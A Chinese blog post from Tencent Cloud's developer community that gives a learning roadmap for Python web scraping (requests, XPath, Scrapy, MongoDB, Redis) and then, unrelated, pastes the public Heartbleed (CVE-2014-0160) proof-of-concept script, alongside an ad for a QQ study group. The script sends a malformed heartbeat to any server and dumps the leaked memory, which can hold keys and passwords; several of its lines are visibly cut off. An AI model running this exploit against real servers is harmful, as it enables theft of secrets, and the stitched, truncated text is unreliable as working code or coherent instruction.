首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

大神程序员10天带你入门Python爬虫,轻松爬取百万规模大数据

Python编程语言在众多的编程语言排行第一,然而Python爬虫的应用也越来越广,那Python爬虫为什么也越来受欢迎了呢?

如果你仔细观察,就不难发现,懂爬虫、学习爬虫的人越来越多,一方面,互联网可以获取的数据越来越多,另一方面,像 Python这样的编程语言提供越来越多的优秀工具,让爬虫变得简单、容易上手。下面分享大神程序员10天带你入门Python爬虫,轻松爬取百万规模大数据的例子。

在目标的驱动下,你的学习才会更加精准和高效。那些所有你认为必须的前置知识,都是可以在完成目标的过程中学到的。这里给你一条平滑的、零基础快速入门的学习路径。

1.学习 Python 包并实现基本的爬虫过程

2.了解非结构化数据的存储

3.学习scrapy,搭建工程化爬虫

4.学习数据库知识,应对大规模数据存储与提取

5.掌握各种技巧,应对特殊网站的反爬措施

6.分布式爬虫,实现大规模并发采集,提升效率

学习 Python 包并实现基本的爬虫过程

大部分爬虫都是按“发送请求——获得页面——解析页面——抽取并储存内容”这样的流程来进行,这其实也是模拟了我们使用浏览器获取网页信息的过程。

Python中爬虫相关的包很多:urllib、requests、bs4、scrapy、pyspider 等,建议从requests+Xpath 开始,requests 负责连接网站,返回网页,Xpath 用于解析网页,便于抽取数据。

如果你用过 BeautifulSoup,会发现 Xpath 要省事不少,一层一层检查元素代码的工作,全都省略了。这样下来基本套路都差不多,一般的静态网站根本不在话下,豆瓣、糗事百科、腾讯新闻等基本上都可以上手了。

当然如果你需要爬取异步加载的网站,可以学习浏览器抓包分析真实请求或者学习Selenium来实现自动化,这样,知乎、时光网、猫途鹰这些动态的网站也可以迎刃而解。

学习 scrapy,搭建工程化的爬虫

掌握前面的技术一般量级的数据和代码基本没有问题了,但是在遇到非常复杂的情况,可能仍然会力不从心,这个时候,强大的 scrapy 框架就非常有用了。

scrapy 是一个功能非常强大的爬虫框架,它不仅能便捷地构建request,还有强大的 selector 能够方便地解析 response,然而它最让人惊喜的还是它超高的性能,让你可以将爬虫工程化、模块化。

学会 scrapy,你可以自己去搭建一些爬虫框架,你就基本具备爬虫工程师的思维了。

学习数据库基础,应对大规模数据存储

爬回来的数据量小的时候,你可以用文档的形式来存储,一旦数据量大了,这就有点行不通了。所以掌握一种数据库是必须的,学习目前比较主流的 MongoDB 就OK。

MongoDB 可以方便你去存储一些非结构化的数据,比如各种评论的文本,图片的链接等等。你也可以利用PyMongo,更方便地在Python中操作MongoDB。

因为这里要用到的数据库知识其实非常简单,主要是数据如何入库、如何进行提取,在需要的时候再学习就行。

分布式爬虫,实现大规模并发采集

爬取基本数据已经不是问题了,你的瓶颈会集中到爬取海量数据的效率。这个时候,相信你会很自然地接触到一个很厉害的名字:分布式爬虫。

分布式这个东西,听起来很恐怖,但其实就是利用多线程的原理让多个爬虫同时工作,需要你掌握 Scrapy + MongoDB + Redis 这三种工具。

Scrapy 前面我们说过了,用于做基本的页面爬取,MongoDB 用于存储爬取的数据,Redis 则用来存储要爬取的网页队列,也就是任务队列。

所以有些东西看起来很吓人,但其实分解开来,也不过如此。当你能够写分布式的爬虫的时候,那么你可以去尝试打造一些基本的爬虫架构了,实现一些更加自动化的数据获取。

你看,这一条学习路径下来,你已然可以成为老司机了,非常的顺畅。所以在一开始的时候,尽量不要系统地去啃一些东西,找一个实际的项目(开始可以从豆瓣、小猪这种简单的入手),直接开始就好。

因为爬虫这种技术,既不需要你系统地精通一门语言,也不需要多么高深的数据库技术,高效的姿势就是从实际的项目中去学习这些零散的知识点,你能保证每次学到的都是最需要的那部分。

当然唯一麻烦的是,在具体的问题中,如何找到具体需要的那部分学习资源、如何筛选和甄别,是很多初学者面临的一个大问题。

下面小编给大家分享一个python实现检测OpenSSL漏洞的脚本的例子,在分享之前小编还是要推荐自己建立的裙Python学习:

五七七九零一二九四 这里有推荐的学习路线,基础视频学习资料和电子教程文档和Python安装工具及

Python技术学习交流和分享。下面是项目代码实现:

#!/usr/bin/python

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00 dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00

00 0f 00 01 01

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32

print ' %04x: %-48s %s' % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print 'Unexpected EOF receiving record header - server closed connection'

return None, None, None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

print 'Unexpected EOF receiving record payload - server closed connection'

return None, None, None

print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return False

if typ == 24:

print 'Received heartbeat response:'

hexdump(pay)

if len(pay) > 3:

print 'WARNING: server returned more data than it should - server is vulnerable!'

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

return True

if typ == 21:

print 'Received alert:'

hexdump(pay)

print 'Server returned error, likely not vulnerable'

return False

def main():

opts, args = options.parse_args()

if len(args)

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Connecting...'

s.connect((args[0], opts.port))

print 'Sending Client Hello...'

s.send(hello)

print 'Waiting for Server Hello...'

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print 'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

if typ == 22 and ord(pay[0]) == 0x0E:

break

print 'Sending heartbeat request...'

s.send(hb)

hit_hb(s)

if __name__ == '__main__':

main()

如果遇到学习python不懂的地方,欢迎跟小编交流学习,祝大家早日成为PYTHON大神。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180121A06ZIG00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券